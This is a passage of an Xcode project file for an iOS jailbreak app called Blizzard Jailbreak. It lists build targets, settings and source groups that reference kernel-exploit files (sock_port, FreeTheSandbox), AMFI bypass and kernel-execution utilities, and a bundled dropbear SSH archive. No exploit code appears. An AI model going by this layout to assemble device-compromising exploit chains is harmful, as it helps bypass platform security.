D613B74824E2B1E70069CA9B /* libplist.a in Frameworks */, D613B74924E2B1E70069CA9B /* libplist++.a in Frameworks */, D613B74524E2B1C20069CA9B /* liboffsetfinder64.a in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0122DF4ED800231F8C /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0C22DF4ED800231F8C /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXFrameworksBuildPhase section */ /* Begin PBXGroup section */ 82F179E322DF4ED700231F8C = { isa = PBXGroup; children = ( D69C4C9525686579001DE2BC /* Exploits */, D62BC51C24E4112300EC63D4 /* Base Binaries */, D613B73A24E2B13E0069CA9B /* Helper Libraries */, D613B71D24E2A68D0069CA9B /* APFS Utilities */, D613B71C24E2A6690069CA9B /* AMFI Utilities */, D62CA1DF24E1C6FB002E6756 /* Kernel Utilities */, D62CA1DB24E1C660002E6756 /* PatchFinder */, D6FFA55F24E19E0900CAC2E2 /* Blizzard Jailbreak */, 82F17A0722DF4ED800231F8C /* sock_port_tests */, 82F17A1222DF4ED800231F8C /* sock_port_UITests */, 82F179ED22DF4ED700231F8C /* Products */, 82F17A2722DF57B700231F8C /* Frameworks */, ); sourceTree = ""; }; 82F179ED22DF4ED700231F8C /* Products */ = { isa = PBXGroup; children = ( 82F179EC22DF4ED700231F8C /* Blizzard Jailbreak.app */, 82F17A0422DF4ED800231F8C /* Blizzard JailbreakTests.xctest */, 82F17A0F22DF4ED800231F8C /* Blizzard JailbreakUITests.xctest */, ); name = Products; sourceTree = ""; }; 82F179EE22DF4ED700231F8C /* sock_port */ = { isa = PBXGroup; children = ( D69C4C9D256866A2001DE2BC /* OSMessageNotification.h */, 82F17A2122DF4EF100231F8C /* exploit.c */, 82F17A2222DF4EF100231F8C /* exploit.h */, 82F17A2422DF4F1C00231F8C /* exploit_utilities.c */, 82F17A2522DF4F1C00231F8C /* exploit_utilities.h */, 8288501022E07303005D10FC /* kernel_memory.c */, 8288501122E07303005D10FC /* kernel_memory.h */, 8288501422E07C14005D10FC /* offsets.h */, 8288501322E07C14005D10FC /* offsets.m */, D62CA1EC24E1C83E002E6756 /* offsetof.c */, D62CA1ED24E1C83E002E6756 /* offsetof.h */, 82E9B71422E24BAD0016AA39 /* iosurface.c */, 82E9B71322E24BAC0016AA39 /* iosurface.h */, ); path = sock_port; sourceTree = ""; }; 82F17A0722DF4ED800231F8C /* sock_port_tests */ = { isa = PBXGroup; children = ( 82F17A0822DF4ED800231F8C /* socket_freeTests.m */, 82F17A0A22DF4ED800231F8C /* Info.plist */, ); path = sock_port_tests; sourceTree = ""; }; 82F17A1222DF4ED800231F8C /* sock_port_UITests */ = { isa = PBXGroup; children = ( 82F17A1322DF4ED800231F8C /* socket_freeUITests.m */, 82F17A1522DF4ED800231F8C /* Info.plist */, ); path = sock_port_UITests; sourceTree = ""; }; 82F17A2722DF57B700231F8C /* Frameworks */ = { isa = PBXGroup; children = ( D69C4C96256865BF001DE2BC /* IOKit.tbd */, D69C4C9825686627001DE2BC /* IOKit.tbd */, D613B74C24E2B25F0069CA9B /* libMobileGestalt.tbd */, D613B74A24E2B2560069CA9B /* libcompression.tbd */, D613B72E24E2A7B70069CA9B /* libimg4tool.a */, D613B72D24E2A7B70069CA9B /* libmerged.a */, D613B72A24E2A7B70069CA9B /* liboffsetfinder64.a */, D613B72B24E2A7B70069CA9B /* libplist.a */, D613B72C24E2A7B70069CA9B /* libplist++.a */, D62CA20A24E1D95F002E6756 /* kerneldec */, 82F17A2822DF57B700231F8C /* IOKit.tbd */, ); name = Frameworks; sourceTree = ""; }; D613B71C24E2A6690069CA9B /* AMFI Utilities */ = { isa = PBXGroup; children = ( D613B75E24E2EEFD0069CA9B /* osobject.c */, D613B75F24E2EEFD0069CA9B /* osobject.h */, D613B75D24E2E8690069CA9B /* cs_blob.h */, D613B75224E2E8300069CA9B /* amfi_utils.h */, D613B75324E2E8300069CA9B /* amfi_utils.m */, D613B75524E2E8300069CA9B /* amfid_mem.h */, D613B75624E2E8300069CA9B /* amfid_mem.m */, D613B75124E2E82F0069CA9B /* amfid_tools.h */, D613B75424E2E8300069CA9B /* amfid_tools.m */, D613B75A24E2E8580069CA9B /* amfid.h */, D613B75B24E2E8580069CA9B /* amfid.m */, ); path = "AMFI Utilities"; sourceTree = ""; }; D613B71D24E2A68D0069CA9B /* APFS Utilities */ = { isa = PBXGroup; children = ( D613B73724E2A8C40069CA9B /* IOKit.h */, D613B72924E2A79F0069CA9B /* liboffsetfinder64.hpp */, D613B72624E2A76A0069CA9B /* offsetfinder.cpp */, D613B72424E2A76A0069CA9B /* rootfs_remount.m */, D613B72524E2A76A0069CA9B /* rootfs_remount.h */, D613B73624E2A8B00069CA9B /* snapshot_tools.h */, D613B73424E2A8AB0069CA9B /* snapshot_tools.c */, ); path = "APFS Utilities"; sourceTree = ""; }; D613B73A24E2B13E0069CA9B /* Helper Libraries */ = { isa = PBXGroup; children = ( D613B73F24E2B1540069CA9B /* libimg4tool.a */, D613B73E24E2B1530069CA9B /* libmerged.a */, D613B73B24E2B1530069CA9B /* liboffsetfinder64.a */, D613B73C24E2B1530069CA9B /* libplist.a */, D613B73D24E2B1530069CA9B /* libplist++.a */, ); path = "Helper Libraries"; sourceTree = ""; }; D62BC51C24E4112300EC63D4 /* Base Binaries */ = { isa = PBXGroup; children = ( D62BC51F24E41AF500EC63D4 /* basebins.tar */, D62BC52124E41F2500EC63D4 /* dropbear.tar */, D62BC51D24E4113200EC63D4 /* tar */, ); path = "Base Binaries"; sourceTree = ""; }; D62CA1DB24E1C660002E6756 /* PatchFinder */ = { isa = PBXGroup; children = ( D62CA1E324E1C7EA002E6756 /* patchfinder64.h */, D62CA1E424E1C7EA002E6756 /* patchfinder64.m */, ); path = PatchFinder; sourceTree = ""; }; D62CA1DF24E1C6FB002E6756 /* Kernel Utilities */ = { isa = PBXGroup; children = ( D613B73824E2A99B0069CA9B /* system_reboot.h */, D62CA1E924E1C7FF002E6756 /* kernel_utils.h */, D62CA1EA24E1C7FF002E6756 /* kernel_utils.m */, D62CA1E624E1C7F7002E6756 /* kexecute.c */, D62CA1E724E1C7F7002E6756 /* kexecute.h */, D613B76424E2F2D30069CA9B /* kernSymbolication.c */, D613B76524E2F2D30069CA9B /* kernSymbolication.h */, D613B78124E2F9980069CA9B /* lzssdec.hpp */, D613B78024E2F9980069CA9B /* lzssdec.cpp */, ); path = "Kernel Utilities"; sourceTree = ""; }; D69C4C9525686579001DE2BC /* Exploits */ = { isa = PBXGroup; children = ( D69C4CB4256868A8001DE2BC /* IOKit */, D69C4CA125686866001DE2BC /* FreeTheSandbox */, 82F179EE22DF4ED700231F8C /* sock_port */, ); path = Exploits; sourceTree = ""; }; D69C4CA125686866001DE2BC /* FreeTheSandbox */ = { isa = PBXGroup; children = ( D69C4CAB25686895001DE2BC /* ios_7st_utils.m */, D69C4CA725686894001DE2BC /* ios13_change_offsets.m */, D69C4CA525686894001DE2BC /* ios13_kernel_universal.c */, D69C4CA425686894001DE2BC /* ios13_userspace_pac.c */, D69C4CA625686894001DE2BC /* ios13_userspace.c */, D69C4CBB25686D0F001DE2BC /* freethesandbox.h */, D69C4CA925686894001DE2BC /* IOTypes.h */, D69C4CAA25686895001DE2BC /* libsnappy.c */, D69C4CAC25686895001DE2BC /* libsnappy.h */, D69C4CAD25686895001DE2BC /* vnode.h */, D69C4CA825686894001DE2BC /* xpc.h */, D69C4CA325686884001DE2BC /* vnode.h */, D69C4CA225686884001DE2BC /* xpc.h */, ); path = FreeTheSandbox; sourceTree = ""; }; D69C4CB4256868A8001DE2BC /* IOKit */ = { isa = PBXGroup; children = ( D69C4CB6256868BB001DE2BC /* IOKitKeys.h */, D69C4CB7256868BB001DE2BC /* IOKitLib.h */, D69C4CB5256868BB001DE2BC /* IOReturn.h */, D69C4CB8256868BB001DE2BC /* IOTypes.h */, ); path = IOKit; sourceTree = ""; }; D6FFA55F24E19E0900CAC2E2 /* Blizzard Jailbreak */ = { isa = PBXGroup; children = ( 82F179FD22DF4ED700231F8C /* Info.plist */, 82F179EF22DF4ED700231F8C /* AppDelegate.h */, 82F179F022DF4ED700231F8C /* AppDelegate.m */, 82F179F822DF4ED700231F8C /* Assets.xcassets */, 82F179FE22DF4ED700231F8C /* main.m */, 82F179F522DF4ED700231F8C /* Main.storyboard */, 82F179FA22DF4ED700231F8C /* LaunchScreen.storyboard */, D63EDAC024E1989F009B305D /* blizzardJailbreak.h */, D63EDABF24E1989F009B305D /* blizzardJailbreak.m */, D6FFA56024E1A59A00CAC2E2 /* blizzardView.h */, D6FFA56124E1A59A00CAC2E2 /* blizzardView.m */, D613B71924E217D90069CA9B /* BlizzardLog.h */, D613B71A24E217D90069CA9B /* BlizzardLog.m */, D613B74E24E2CD5E0069CA9B /* BlizzardSpawnerTools.c */, D613B74F24E2CD5E0069CA9B /* BlizzardSpawnerTools.h */, ); path = "Blizzard Jailbreak"; sourceTree = ""; }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ 82F179EB22DF4ED700231F8C /* Blizzard Jailbreak */ = { isa = PBXNativeTarget; buildConfigurationList = 82F17A1822DF4ED800231F8C /* Build configuration list for PBXNativeTarget "Blizzard Jailbreak" */; buildPhases = ( 82F179E822DF4ED700231F8C /* Sources */, 82F179E922DF4ED700231F8C /* Frameworks */, 82F179EA22DF4ED700231F8C /* Resources */, ); buildRules = ( ); dependencies = ( ); name = "Blizzard Jailbreak"; productName = socket_free; productReference = 82F179EC22DF4ED700231F8C /* Blizzard Jailbreak.app */; productType = "com.apple.product-type.application"; }; 82F17A0322DF4ED800231F8C /* Blizzard JailbreakTests */ = { isa = PBXNativeTarget; buildConfigurationList = 82F17A1B22DF4ED800231F8C /* Build configuration list for PBXNativeTarget "Blizzard JailbreakTests" */; buildPhases = ( 82F17A0022DF4ED800231F8C /* Sources */, 82F17A0122DF4ED800231F8C /* Frameworks */, 82F17A0222DF4ED800231F8C /* Resources */, ); buildRules = ( ); dependencies = ( 82F17A0622DF4ED800231F8C /* PBXTargetDependency */, ); name = "Blizzard JailbreakTests"; productName = socket_freeTests; productReference = 82F17A0422DF4ED800231F8C /* Blizzard JailbreakTests.xctest */; productType = "com.apple.product-type.bundle.unit-test"; }; 82F17A0E22DF4ED800231F8C /* Blizzard JailbreakUITests */ = { isa = PBXNativeTarget; buildConfigurationList = 82F17A1E22DF4ED800231F8C /* Build configuration list for PBXNativeTarget "Blizzard JailbreakUITests" */; buildPhases = ( 82F17A0B22DF4ED800231F8C /* Sources */, 82F17A0C22DF4ED800231F8C /* Frameworks */, 82F17A0D22DF4ED800231F8C /* Resources */, ); buildRules = ( ); dependencies = ( 82F17A1122DF4ED800231F8C /* PBXTargetDependency */, ); name = "Blizzard JailbreakUITests"; productName = socket_freeUITests; productReference = 82F17A0F22DF4ED800231F8C /* Blizzard JailbreakUITests.xctest */; productType = "com.apple.product-type.bundle.ui-testing"; }; /* End PBXNativeTarget section */ /* Begin PBXProject section */ 82F179E422DF4ED700231F8C /* Project object */ = { isa = PBXProject; attributes = { LastUpgradeCheck = 1010; ORGANIZATIONNAME = GeoSn0w; TargetAttributes = { 82F179EB22DF4ED700231F8C = { CreatedOnToolsVersion = 9.2; ProvisioningStyle = Automatic; }; 82F17A0322DF4ED800231F8C = { CreatedOnToolsVersion = 9.2; ProvisioningStyle = Automatic; TestTargetID = 82F179EB22DF4ED700231F8C; }; 82F17A0E22DF4ED800231F8C = { CreatedOnToolsVersion = 9.2; ProvisioningStyle = Automatic; TestTargetID = 82F179EB22DF4ED700231F8C; }; }; }; buildConfigurationList = 82F179E722DF4ED700231F8C /* Build configuration list for PBXProject "Blizzard Jailbreak" */; compatibilityVersion = "Xcode 8.0"; developmentRegion = en; hasScannedForEncodings = 0; knownRegions = ( en, Base, ); mainGroup = 82F179E322DF4ED700231F8C; productRefGroup = 82F179ED22DF4ED700231F8C /* Products */; projectDirPath = ""; projectRoot = ""; targets = ( 82F179EB22DF4ED700231F8C /* Blizzard Jailbreak */, 82F17A0322DF4ED800231F8C /* Blizzard JailbreakTests */, 82F17A0E22DF4ED800231F8C /* Blizzard JailbreakUITests */, ); }; /* End PBXProject section */ /* Begin PBXResourcesBuildPhase section */ 82F179EA22DF4ED700231F8C /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( 82F179FC22DF4ED700231F8C /* LaunchScreen.storyboard in Resources */, 82F179F922DF4ED700231F8C /* Assets.xcassets in Resources */, D62BC51E24E4113200EC63D4 /* tar in Resources */, D62BC52024E41AF500EC63D4 /* basebins.tar in Resources */, D62BC52224E41F2500EC63D4 /* dropbear.tar in Resources */, 82F179F722DF4ED700231F8C /* Main.storyboard in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0222DF4ED800231F8C /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0D22DF4ED800231F8C /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXResourcesBuildPhase section */ /* Begin PBXSourcesBuildPhase section */ 82F179E822DF4ED700231F8C /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( 82F17A2622DF4F1C00231F8C /* exploit_utilities.c in Sources */, D613B75724E2E8300069CA9B /* amfi_utils.m in Sources */, D6FFA56224E1A59A00CAC2E2 /* blizzardView.m in Sources */, D62CA1EB24E1C7FF002E6756 /* kernel_utils.m in Sources */, D69C4CB225686895001DE2BC /* libsnappy.c in Sources */, D69C4CAF25686895001DE2BC /* ios13_kernel_universal.c in Sources */, D69C4CAE25686895001DE2BC /* ios13_userspace_pac.c in Sources */, D613B78224E2F9980069CA9B /* lzssdec.cpp in Sources */, 82F179FF22DF4ED700231F8C /* main.m in Sources */, D613B75824E2E8300069CA9B /* amfid_tools.m in Sources */, D613B72824E2A76A0069CA9B /* offsetfinder.cpp in Sources */, D613B73524E2A8AB0069CA9B /* snapshot_tools.c in Sources */, D613B75024E2CD5E0069CA9B /* BlizzardSpawnerTools.c in Sources */, D613B71B24E217D90069CA9B /* BlizzardLog.m in Sources */, D62CA1EE24E1C83F002E6756 /* offsetof.c in Sources */, 82F179F122DF4ED700231F8C /* AppDelegate.m in Sources */, 82F17A2322DF4EF100231F8C /* exploit.c in Sources */, D613B75C24E2E8590069CA9B /* amfid.m in Sources */, 82E9B71522E24BAD0016AA39 /* iosurface.c in Sources */, D613B75924E2E8300069CA9B /* amfid_mem.m in Sources */, D62CA1E824E1C7F7002E6756 /* kexecute.c in Sources */, D69C4CB125686895001DE2BC /* ios13_change_offsets.m in Sources */, D613B76624E2F2D30069CA9B /* kernSymbolication.c in Sources */, D613B76024E2EEFD0069CA9B /* osobject.c in Sources */, 8288501522E07C15005D10FC /* offsets.m in Sources */, D69C4CB025686895001DE2BC /* ios13_userspace.c in Sources */, 8288501222E07303005D10FC /* kernel_memory.c in Sources */, D613B72724E2A76A0069CA9B /* rootfs_remount.m in Sources */, D62CA1E524E1C7EA002E6756 /* patchfinder64.m in Sources */, D63EDAC124E1989F009B305D /* blizzardJailbreak.m in Sources */, D69C4CB325686895001DE2BC /* ios_7st_utils.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0022DF4ED800231F8C /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( 82F17A0922DF4ED800231F8C /* socket_freeTests.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0B22DF4ED800231F8C /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( 82F17A1422DF4ED800231F8C /* socket_freeUITests.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXSourcesBuildPhase section */ /* Begin PBXTargetDependency section */ 82F17A0622DF4ED800231F8C /* PBXTargetDependency */ = { isa = PBXTargetDependency; target = 82F179EB22DF4ED700231F8C /* Blizzard Jailbreak */; targetProxy = 82F17A0522DF4ED800231F8C /* PBXContainerItemProxy */; }; 82F17A1122DF4ED800231F8C /* PBXTargetDependency */ = { isa = PBXTargetDependency; target = 82F179EB22DF4ED700231F8C /* Blizzard Jailbreak */; targetProxy = 82F17A1022DF4ED800231F8C /* PBXContainerItemProxy */; }; /* End PBXTargetDependency section */ /* Begin PBXVariantGroup section */ 82F179F522DF4ED700231F8C /* Main.storyboard */ = { isa = PBXVariantGroup; children = ( 82F179F622DF4ED700231F8C /* Base */, ); name = Main.storyboard; sourceTree = ""; }; 82F179FA22DF4ED700231F8C /* LaunchScreen.storyboard */ = { isa = PBXVariantGroup; children = ( 82F179FB22DF4ED700231F8C /* Base */, ); name = LaunchScreen.storyboard; sourceTree = ""; }; /* End PBXVariantGroup section */ /* Begin XCBuildConfiguration section */ 82F17A1622DF4ED800231F8C /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_DOCUMENTATION_COMMENTS = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; CODE_SIGN_IDENTITY = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = dwarf; ENABLE_STRICT_OBJC_MSGSEND = YES; ENABLE_TESTABILITY = YES; GCC_C_LANGUAGE_STANDARD = gnu11; GCC_DYNAMIC_NO_PIC = NO; GCC_NO_COMMON_BLOCKS = YES; GCC_OPTIMIZATION_LEVEL = 0; GCC_PREPROCESSOR_DEFINITIONS = ( "DEBUG=1", "$(inherited)", ); GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 11.2; MTL_ENABLE_DEBUG_INFO = YES; ONLY_ACTIVE_ARCH = YES; SDKROOT = iphoneos; }; name = Debug; }; 82F17A1722DF4ED800231F8C /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_DOCUMENTATION_COMMENTS = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; CODE_SIGN_IDENTITY = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; ENABLE_NS_ASSERTIONS = NO; ENABLE_STRICT_OBJC_MSGSEND = YES; GCC_C_LANGUAGE_STANDARD = gnu11; GCC_NO_COMMON_BLOCKS = YES; GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 11.2; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; VALIDATE_PRODUCT = YES; }; name = Release; }; 82F17A1922DF4ED800231F8C /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = YES; ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CODE_SIGN_IDENTITY = "iPhone Developer"; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = U7CBM293CM; ENABLE_BITCODE = NO; HEADER_SEARCH_PATHS = "\"$(SRCROOT)/sock_port/include\""; INFOPLIST_FILE = "$(SRCROOT)/Blizzard Jailbreak/Info.plist"; IPHONEOS_DEPLOYMENT_TARGET = 11.0; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; LIBRARY_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/sock_port", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", ); OTHER_CPLUSPLUSFLAGS = "$(OTHER_CFLAGS)"; OTHER_LDFLAGS = ( "-framework", IOKit, ); PRODUCT_BUNDLE_IDENTIFIER = com.geosn0w.blizzard; PRODUCT_NAME = "$(TARGET_NAME)"; PROVISIONING_PROFILE_SPECIFIER = ""; TARGETED_DEVICE_FAMILY = "1,2"; USER_HEADER_SEARCH_PATHS = "\"$(SRCROOT)/sock_port/include\""; VALID_ARCHS = "arm64 arm64e armv7"; }; name = Debug; }; 82F17A1A22DF4ED800231F8C /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = YES; ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CODE_SIGN_IDENTITY = "iPhone Developer"; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = U7CBM293CM; ENABLE_BITCODE = NO; HEADER_SEARCH_PATHS = "\"$(SRCROOT)/sock_port/include\""; INFOPLIST_FILE = "$(SRCROOT)/Blizzard Jailbreak/Info.plist"; IPHONEOS_DEPLOYMENT_TARGET = 11.0; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; LIBRARY_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/sock_port", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", "$(PROJECT_DIR)/Helper\\ Libraries", ); OTHER_CPLUSPLUSFLAGS = "$(OTHER_CFLAGS)"; OTHER_LDFLAGS = ( "-framework", IOKit, ); PRODUCT_BUNDLE_IDENTIFIER = com.geosn0w.blizzard; PRODUCT_NAME = "$(TARGET_NAME)"; PROVISIONING_PROFILE_SPECIFIER = ""; TARGETED_DEVICE_FAMILY = "1,2"; USER_HEADER_SEARCH_PATHS = "\"$(SRCROOT)/sock_port/include\""; VALID_ARCHS = "arm64 arm64e armv7"; }; name = Release; }; 82F17A1C22DF4ED800231F8C /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = 22G2QV87A2; INFOPLIST_FILE = socket_freeTests/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.socket-freeTests"; PRODUCT_NAME = "$(TARGET_NAME)"; TARGETED_DEVICE_FAMILY = "1,2"; TEST_HOST = "$(BUILT_PRODUCTS_DIR)/Blizzard Jailbreak.app/Blizzard Jailbreak"; }; name = Debug; }; 82F17A1D22DF4ED800231F8C /* Release */ = { isa = XCBuildConfiguration; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = 22G2QV87A2; INFOPLIST_FILE = socket_freeTests/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.socket-freeTests"; PRODUCT_NAME = "$(TARGET_NAME)"; TARGETED_DEVICE_FAMILY = "1,2"; TEST_HOST = "$(BUILT_PRODUCTS_DIR)/Blizzard Jailbreak.app/Blizzard Jailbreak"; }; name = Release; }; 82F17A1F22DF4ED800231F8C /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = 22G2QV87A2; INFOPLIST_FILE = socket_freeUITests/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.socket-freeUITests"; PRODUCT_NAME = "$(TARGET_NAME)"; TARGETED_DEVICE_FAMILY = "1,2"; TEST_TARGET_NAME = socket_free; }; name = Debug; }; 82F17A2022DF4ED800231F8C /* Release */ = { isa = XCBuildConfiguration; buildSettings = { CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = 22G2QV87A2; INFOPLIST_FILE = socket_freeUITests/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.socket-freeUITests"; PRODUCT_NAME = "$(TARGET_NAME)"; TARGETED_DEVICE_FAMILY = "1,2"; TEST_TARGET_NAME = socket_free; }; name = Release; }; /* End XCBuildConfiguration section */ /* Begin XCConfigurationList section */ 82F179E722DF4ED700231F8C /* Build configuration list for PBXProject "Blizzard Jailbreak" */ = { isa = XCConfigurationList; buildConfigurations = ( 82F17A1622DF4ED800231F8C /* Debug */, 82F17A1722DF4ED800231F8C /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; 82F17A1822DF4ED800231F8C /* Build configuration list for PBXNativeTarget "Blizzard Jailbreak" */ = { isa = XCConfigurationList; buildConfigurations = ( 82F17A1922DF4ED800231F8C /* Debug */, 82F17A1A22DF4ED800231F8C /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; 82F17A1B22DF4ED800231F8C /* Build configuration list for PBXNativeTarget "Blizzard JailbreakTests" */ = { isa = XCConfigurationList; buildConfigurations = ( 82F17A1C22DF4ED800231F8C /* Debug */, 82F17A1D22DF4ED800231F8C /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; 82F17A1E22DF4ED800231F8C /* Build configuration list for PBXNativeTarget "Blizzard JailbreakUITests" */ = { isa = XCConfigurationList; buildConfigurations = ( 82F17A1F22DF4ED800231F8C /* Debug */, 82F17A2022DF4ED800231F8C /* Release */, ); defaultConfigurationIsVisible = 